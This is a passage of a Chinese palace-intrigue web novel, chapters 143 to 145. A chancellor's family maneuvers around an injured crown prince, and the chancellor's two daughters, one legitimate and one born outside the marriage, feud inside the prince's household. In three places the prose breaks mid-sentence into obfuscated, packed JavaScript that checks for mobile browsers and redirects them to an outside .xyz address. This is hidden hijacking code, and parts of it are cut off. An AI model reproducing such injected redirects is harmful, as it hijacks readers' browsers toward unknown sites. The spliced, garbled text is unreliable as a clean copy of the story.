太子会不会以为她也参与其中? 她推开王氏,攥着帕子在屋里来回踱步,看上去不安极了。 第143章 朝堂变故 就在这时,房门被猛地推开,安禄海大步走了进来。 王氏和安欢颜从未见过他这副模样。 当朝相爷此刻面色惨白,额角渗着冷汗,连官服都透着凌乱。 “老爷?” “父亲!” 安禄海重重坐在椅子上,看着安欢颜开门见山道,“太子**的事,你知道多少?” 安欢颜腿一软,差点跪倒在地。 “女儿当真不知情!”她声音发颤,手指紧紧绞着帕子,“女儿也是听外面议论才知晓此事……” 安禄海目光沉沉地盯着她,半晌才重重叹了口气。 王氏急得直搓手,“老爷,到底出什么事了?您倒是说清楚啊!” 安禄海压低声音,“皇上震怒,已命大理寺彻查此事,更棘手的是……” 他停顿片刻,面色愈发凝重,“有人指证此事与六皇子一派有关。” “什么?”王氏倒吸一口凉气。 “国舅爷今早被传进宫问话。”安禄海擦了擦额角的冷汗,“若真查出与皇后母族有牵连……” 话未说完,但屋内的三人都明白,朝堂必将掀起腥风血雨,甚至连太子之位都可能彻底定下。 屋内晨光摇曳,映照出三人惨白的脸色。 安禄海沉声道,“现在顾不上别的了。” 他目光锐利地扫过妻女,“无论之前如何,从今日起,相府必须摆正立场,我们与太子,是姻亲!” 王氏嘴唇发抖,“可太子若坐稳了位置,还会看得上我们相府吗?他那样的人,眼里容不得半点沙子……” “正因如此,才更要表明态度!” 安禄海压低声音,“太子**一事若真牵连到六皇子,朝堂必将大洗牌,我们若再摇摆不定……” 他话未说完,但意思已明,相府很可能成为太子清算的对象。 安欢颜指甲深深掐进掌心。 如今局势突变,她这个“准太子妃”的身份,反倒成了相府唯一的救命稻草。 安禄海没有发觉,他眼底精光一闪,嘴角竟浮起一丝隐秘的笑意。 不过林氏母子被接入太子府,对他而言反倒是意外之喜。 “夫人往后不必再为难林氏母子了。”他突然开口,语气里带着不容置疑的命令。 王氏猛地抬头,保养得宜的脸上闪过一丝扭曲。 “老爷这话是什么意思?我何时折磨过他们?这些日子林氏吃穿用度比正经姨娘都不差,那小子更是托了奴婢好生伺候……” “够了!”安禄海一摆手打断她,压低声音道,“现在局势不同了,若那丫头真能得太子青眼,这对相府只有好处,对待他们只能比以前更好。” 王氏和安欢颜半晌都说不出话来。 踩在脚底下半辈子的人,有朝一日翻身有了倚仗,这比做噩梦还要痛苦。 安禄海不甚在意两人的反应,径直出了院子,等踏进林氏偏僻的小院时,脚步甚至比往日轻快了许多。 林氏看到他突然出现,惊慌失措,立刻跪伏在地,不敢抬头。 “这些年,委屈你了。”安禄海眯了眯眼睛,亲手扶起跪在地上的林氏,语气温和得近乎陌生。 “小月如今出息了,给咱们相府争了光。” 林氏瘦削的肩膀猛地一颤,低垂的眼睫遮住惊惶。 他从未用这样的语气同她说过话,可如今却亲手搀扶? 林氏生出一股恍如梦中的错觉。 “我想好了。”安禄海拍了拍她的肩膀,,语气像在谈论天气似的随意。 “过几日就开祠堂,抬你当姨娘。” 他回过头,满意地看着林氏瞬间惨白的脸,“再说小月的身份也该正一正,总不能让她顶着外室女的名头伺候太子。” “老爷!”林氏猛地回神,额头重重磕在地上,“奴婢……奴婢不敢奢望,请老爷打消这个念头!” 安禄海听完林氏的请求,眼皮都没抬一下。 他早已习惯了发号施令,哪会在意一个女人的想法? “这事就这么定了。”他语气平淡,却不容置疑,“不过得挑个好日子,你且安心养着,等日子定了,自会有人来知会你。” 说完,他也没多看林氏一眼,径直出了院子。 外头的风有些凉,他拢了拢衣袖,脚步不停,一路回了主院。 而王氏听完丈夫 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她听懂了,若安小月真要顶替颜儿,那她这个主母的位置只怕也要换人了。 安欢颜死死攥住母亲发抖的手,指甲深深掐进王氏的皮肉里。 她抬头看向安禄海,忽然轻笑一声。 “父亲何必吓唬母亲?女儿既然答应了入太子府,自然会好好当这个太子妃。” 她缓缓起身,脊背挺得笔直,眼底却结了一层冰。 “只是女儿有一事不解,父亲这般苦心谋划,究竟是为了相府的前程,还是……” 她故意拖长了音调,“为了您那位藏在别院的柳氏?” 屋内骤然死寂。 安禄海眼底闪过一丝杀意,而王氏则像被雷劈中般僵在原地。 安欢颜心底冷笑,福了福身,“母亲累了,我扶她下去歇息。” 母女俩互相搀扶着走出去,丝毫没有注意到身后安禄海越发阴沉的脸色。 此时的玉庆宫,安小月正跪坐在锦绣堆里,神色恍惚。 第144章 美言几句 安小月原以为今夜会迎来**般的折磨,却不想太子只是命她伺候沐浴更衣后,便径自躺下歇息。 “抖什么?”黑暗中突然响起太子的声音,“孤还能杀了你不成?” 她浑身一颤,险些从榻沿滚下去,慌忙伏低身子。 “妾身不敢。” 萧衍突然撑起身子,寝衣领口露出大片结实的胸膛。 他捏住安小月下巴,借着月光看清她惨白的脸色,嗤笑出声。 “相府送来的探子,就这点胆量?孤还是喜欢你以前天不怕地不怕的性子。” 说罢他松开手径自躺下睡去,丝毫不管身边的人有多恐慌。 窗外巡更的梆子声隐约传来,安小月突然惊醒,这才发觉自己后背的冷汗已经浸透了纱衣。 好在太子没再折腾什么幺蛾子,她缩在床角,稀里糊涂睡了过去。 结果第二日一早,她刚梳洗完,王嬷嬷就递来一张烫金帖子。 “相府大小姐邀您去听雨阁赏雨。” 王嬷嬷把帖子放在桌上,语气意味深长,“娘子,您得去。” 安小月皱眉,“我不想见相府的人。” 王嬷嬷笑了,“可她是未来的太子妃,您如今又是殿下身边第一人,她坐不住了,您总得去瞧瞧她打的什么主意。” 安小月沉默片刻,终于点头,“那就去吧。” 也好提前做出应对。 听雨阁临湖而建,细雨蒙蒙中,安欢颜早已坐在窗边等着。 见安小月进来,她脸上立刻堆出笑,可眼底却冷冰冰的。 “妹妹可算来了。”她亲**招呼,却连站都没站起来。 安小月神色平静,径直在她对面坐下,“安大小姐找我有什么事?” “听说昨夜太子殿下留你在寝宫伺候?” 安欢颜问出这句话时,表情早已经嫉妒的略显扭曲,偏还要顾及姿态。 安小月垂着眼,神色平静。 “安大小姐若想知道殿下的事,不如直接去问太子。” 安欢颜指尖一紧,茶盏重重磕在桌上。 她最恨的就是安小月这副不卑不亢的样子,明明是个低贱的外室女,凭什么在她面前装模作样? “你以为爬上了太子的床,就能在我面前摆谱了?”她冷笑,“别忘了,你娘还在相府,我想让她生不如死,不过是一句话的事。” 安小月抬眸,目光淡淡地扫过她。 “你今日叫我来,就是为了说这些?” 安欢颜气得指尖发抖,可偏偏又不敢真的撕破脸。 父亲特意叮嘱过,要探听太子的态度,她不能把事情闹僵。 “呵,你倒是硬气了。”她强压下怒火,扯出一抹假笑,“既然妹妹如今得宠,不如帮姐姐在太子面前美言几句?” 安小月看着她那张虚伪的脸,心里冷笑。 安欢颜向来眼高于顶,如今却要低声下气地求她,想必是安禄海逼的。 “殿下的事,我不敢妄言。”她直接起身,微微福了一礼,“若没别的事,我先告退了。” 安欢颜盯着她离去的背影,指甲深深掐进掌心。一个小小贱婢,竟敢这样踩在她头上! 直到那抹素色身影彻底消失在回廊尽头,她脸上的笑意才骤然垮了下来。 “**!”她猛地将茶盏砸在地上,瓷片四溅。 一旁的丫鬟吓得跪伏在地,瑟瑟发抖。 安欢颜胸口剧烈起伏,她何曾受过这种气? 可偏偏现在动不得安小月。 太子近日对那贱婢正上心,周围又处处都是眼睛,她若此刻发作,传出去只会落个善妒跋扈的名声。 “大小姐息怒。” 小桃匆匆上前,压低声音劝道,“相爷正在朝中周旋,只要婚期提前,您就是名正言顺的太子妃,到时候要处置一个妾室,还不是易如反掌?” 安欢颜深吸一口气,勉强压下怒火,“可若太子一直护着她又该如何?” “我的好小姐,”小桃意味深长地笑了。 “男人哪有不贪新鲜的?等您过了门,殿下自然明白谁才是正经主子,再说了……” 她凑得更近,“一个没名没分的玩意儿,是死是活,还不是主母一句话的事?” 安欢颜盯着地上破碎的瓷片,终于露出一丝冷笑。 是啊,等进了东宫,她有的是法子让那**生不如死。 雨幕中,相府的马车碾过青石板路。 没人注意到巷口阴影里站着个戴斗笠的侍卫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769725|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,正将一切都尽收眼底。 安小月回到太子府时,太子早已回府,正坐在书房内批阅奏折。 她轻手轻脚地走过去,替他换了盏热茶。 “去哪了?”萧衍头也不抬地问道,笔尖在奏折上勾画着。 “回殿下,安大小姐邀妾身去听雨阁赏雨。”安小月如实答道,声音平静。 萧衍手中的笔微微一顿,抬眸看她,“哦?那这么快就回来了?” “妾身不敢久留。” 萧衍忽然轻笑一声,放下朱笔,身子往后一靠。 “怎么,你这是去炫耀了?” 安小月垂眸,语气恭顺,“妾身不敢,她是主子,妾只是去应个礼数。” 萧衍盯着她看了片刻,忽然冷笑,“她算什么东西?” 安小月心头一跳,却不敢接话。 “你以为孤真想娶她?”萧衍站起身,走到窗前,语气淡漠,“不过是朝堂上那些老东西硬塞过来的罢了。” 他转过身,目光落在安小月身上,意味深长,“这些事你不必管,你只需记住,在这太子府里,谁才是真正的主子就行。” 安小月低头应是,心中却掀起波澜。 太子这话是在暗示什么? 难道…… 安小月心头一凛,不敢再往下想。 翌日,御书房内。 安禄海躬身立于御案前,神色恭敬而忧虑。 “陛下,太子殿下**一事,老臣日夜忧心,寝食难安,殿下乃国之储君,若有闪失,老臣万死难辞其咎啊!” 皇帝执笔批阅奏折,眼皮未抬,只淡淡道,“爱卿有心了。” 安禄海见皇帝反应平淡,又上前一步,语气更加恳切。 “陛下,老臣那小女自打婚期提前后,便日日为殿下祈福,近日听闻殿下**,更是茶饭不思,人都瘦了一圈……” 皇帝终于搁下朱笔,抬眼看他。 “还有这事?安卿家的女儿,倒是个重情义的。” 安禄海连忙拱手,“老臣不敢当陛下夸赞,只是……” 他故作迟疑,“老臣斗胆,想请陛下恩准,能否将婚期再提前些?也好让太子殿下早日有人贴身照料,老臣那痴心的女儿也能安心几分。” 第145章 入主太子府 皇帝目光深沉地打量着安禄海,指尖在御案上轻轻叩了两下,忽然笑了。 “安卿爱女心切,朕理解,不过……”他语气一转,“太子**一案尚未查明,此时大婚,恐怕不妥吧?” 安禄海后背一凉,连忙跪下。 “是老臣思虑不周!陛下圣明!” 皇帝缓缓起身,走到安禄海身前,居高临下地看着他。 “安卿放心,太子婚事,朕自有安排,你且回去好好安抚令爱,告诉她……” 他顿了顿,意味深长道,“该是她的,跑不了。” 安禄海退出御书房时,额角已渗出冷汗。 他总觉得,皇帝最后那句话,似乎另有所指,可又猜不到是何意。 安禄海思绪翻飞,沿着朱红宫墙走出不远,身后忽然传来急促的脚步声。 “安相爷留步!” 御前总管太监小跑着追上来,躬身笑道,“陛下口谕,请您再回去一趟。” 安禄海心头一跳,连忙整了整衣冠,跟着他折返。 御书房内,皇帝正慢条斯理地品着茶,见他进来,直接开口道,“朕方才想了想,婚期确实不宜再提前,免得朝野非议。” 安禄海刚要叩首称是,却听皇帝话锋一转。 “不过,既然安卿的女儿如此挂念太子,朕倒有个折中的法子。” 皇帝放下茶盏,目光深沉。 “不如让她提前搬入太子府,以‘侍疾’之名照顾太子,一来全了她的痴心,二来也好让她提前熟悉太子府的事务。” 安禄海先是一怔,随即大喜过望。 这分明是默许女儿以太子妃的身份入主太子府啊! 他连忙伏地叩首,“老臣代小女,谢陛下隆恩!” 皇帝摆了摆手,语气忽然转冷,“不过,太子性子倔强,若他不乐意……” “陛下放心!”安禄海急忙保证,“小女最是温婉懂事,定会好好伺候殿下,绝不敢有半分逾越!” 皇帝似笑非笑地点了点头。 “那就这么定了,三日后,朕会派凤鸾仪仗接她入府。” 安禄海退出宫门时,脸上的喜色再也掩饰不住。 他只顾着高兴,却没注意到,御书房窗口,皇帝正冷冷注视着他的背影,指尖摩挲着一封密折。 圣旨来得突然。 翌日晨光微熹,太子府正厅内,香炉青烟缭绕。 安小月跪在太子身后,指尖紧紧攥着衣袖。 宣旨太监的声音尖细刺耳,“……特准安氏欢颜以侍疾之名入府,钦此。” 她呼吸一滞,险些没跪稳。 安欢颜要进太子府了? 萧衍神色未变,只冷淡地接过圣旨,连眉梢都没动一下。 可安小月却觉得后背发凉。 太子对安欢颜的厌恶人尽皆知,如今她突然被塞进太子府,太子会如何对待她? 而自己作为相府的旧仆,会不会也被迁怒? “殿下……”她小心翼翼地开口,声音轻得几乎听不见。 萧衍侧眸瞥了她一眼,眼底幽深难辨,“怕什么?” 安小月心头一跳,连忙低头。 “放心。”他冷笑一声,修长的手指轻轻敲了敲圣旨,“孤就算要算账,也只会找该找的人。” 可安小月却更加不安。 太子这话是什么意思? 是警告她不要多事,还是在暗示什么? 窗外忽有冷风灌入,吹得纱帘摇曳不止。 安小月盯着地上晃动的影子,忽然觉得,这太子府的天,恐怕要变了。 之后,太子府一连数日都热闹非凡。 内侍们忙着洒扫庭院,更换陈设,将东侧殿收拾得焕然一新。 安小月站在回廊下,看着一箱箱名贵物件被抬进那座朱漆雕花的院落,指尖不自觉地掐进掌心。 “娘子别看了。”王嬷嬷小声劝道,“听说殿下特意吩咐,一应规格都要按正妃的份例来……” 安小月不可置信地转头,“殿下亲自吩咐的?” 王嬷嬷被她的眼神吓了一跳,结结巴巴道,“是啊,今早还命人搬了那架玛瑙镶玉屏风过去呢。” 这不对劲。 安小月死死盯着西跨院的方向。 太子明明厌恶安欢颜,为何会在这些表面功夫上如此用心? 远处传来管事嬷嬷的呵斥声,几个小太监正手忙脚乱地擦拭廊柱。 安小月忽然发现,太子府这些日子越热闹,那股无形的压迫感就越重,就像暴风雨前的宁静似的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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安小月福身行礼。 “殿下今日有要事在身,特命妾身恭迎安大小姐。” 她声音平稳,仿佛昨夜那个辗转难眠的人不是自己。 安欢颜意味深长地“哦”了一声,指尖抚过腕上的翡翠镯子。 那是相府祖传的物件,向来只有嫡女才能佩戴,安小月自然也知道这事。 她低着头,忽然觉得身上素净的衣裙格外刺眼。 明明本该习惯这样的难堪,可此刻,心口却像是被细密的针扎着,疼得发紧。 众人簇拥着安欢颜进了东偏殿,寝殿内熏香袅袅。 她四处看了看,走累了,就斜倚在软榻上,指尖漫不经心地拨弄着案上的琉璃盏,目光却始终落在站在下首的安小月身上。 “妹妹这身衣裳,未免也太素净了些。” 她轻笑,眼底带着几分居高临下的怜悯,“虽说只是个妾室,可到底也是太子府的人,这般寒酸,传出去岂不是让人笑话?” 安小月垂眸,袖中的手指微微蜷缩。 “妾身习惯了简单些的打扮,不劳安大小姐费心。” “这怎么行?” 安欢颜忽然坐直了身子,朝身旁的丫鬟使了个眼色,“去把我那几件新做的衣裳拿来,反正我穿着小了,正好给妹妹。” 丫鬟很快捧来几件华服,金线绣纹,珠玉点缀,在阳光下熠熠生辉。 安小月看着那些衣裳,只觉得刺眼。 “这……妾身实在不敢当。” “怎么?嫌弃我的东西?” 安欢颜眯起眼,语气陡然冷了下来,“还是说,你觉得我不配赏你?” 殿内的气氛瞬间凝滞。 安小月抿唇,还未开口,安欢颜已抬手示意。 “来人,伺候安娘子更衣。” 两名嬷嬷立刻上前,一左一右架住她的手臂。 安小月挣扎不得,只能被半推半就地按进内室。 她被迫换上那件绯色罗裙,金线绣的牡丹缠在腰间,衬得她肤色愈发苍白,却不大衬她,怎么看怎么别扭。 安欢颜站在她身后,满意地笑了。 “这才像话。”她伸手,替安小月理了理衣领,低声道,“记住,在这府里,你永远都只是个妾。” 安小月抬眸,只觉得镜中的自己陌生得可怕。 衣裳华贵,却如枷锁般沉重,她攥紧裙角,几乎要站立不稳。 就在这时。 “太子殿下驾到——” 尖细的唱喏声骤然划破殿内凝滞的空气。 安欢颜脸色一变,猛地松开捏着安小月下巴的手。 她飞快地抚平衣袖上并不存在的褶皱,指尖掠过鬓角时顺势将一缕碎发别到耳后。 “快,随我去迎殿下。” 她压低声音命令,但转身时,方才的刻薄神色已尽数化作端庄温婉。 安小月沉默地跟在后面,绯色罗裙的广袖垂落,遮住微微发抖的手。 殿门大开,阳光倾泻而入,太子玄色锦袍的下摆掠过门槛,脚步略重。 “参见太子殿下。” 两人齐齐跪拜。 安欢颜的额头几乎要贴到地面,嗓音甜得能沁出蜜来。 安小月却只是安静地伏身,脖颈弯出一道弧度。 “起来吧。” 萧衍的声音带着几分漫不经心。 他踱步到主座前坐下,指尖在紫檀案几上轻叩,目光在二人身上扫过时,忽然嗤笑一声。 安欢颜慌忙抬头,却见太子正盯着安小月那身不合体的华服,眼底似有寒芒闪过。 “这衣裳……”他慢条斯理地开口,“倒是别致。” 安小月垂着眼睫没有作答。 安欢颜的笑容僵在脸上。 “回殿下的话,”她强撑笑意,声音甜腻得发紧,“臣女见安娘子衣裳素净,恰好有几件新裁的衣裙不合身,便想着……” “哦?”萧衍指尖一顿,茶盏与案几相碰,发出清脆的声响,“倒是孤来得不巧,扰了你们试衣裳的雅兴?” 安欢颜脸色一白,慌忙伏身,“臣女不敢!” 萧衍目光掠过她发颤的珠钗,最终落在安小月身上。 那件绯色罗裙套在她单薄的身子上,金线牡丹歪歪扭扭地缠在腰间,衬得她像只被强行套进华美笼子的鸟儿。 “下去。”萧衍突然开口。 安欢颜尚未反应过来,却见太子已指向安小月。 “把这身衣裳换了,脸上的胭脂也擦了。”他皱眉,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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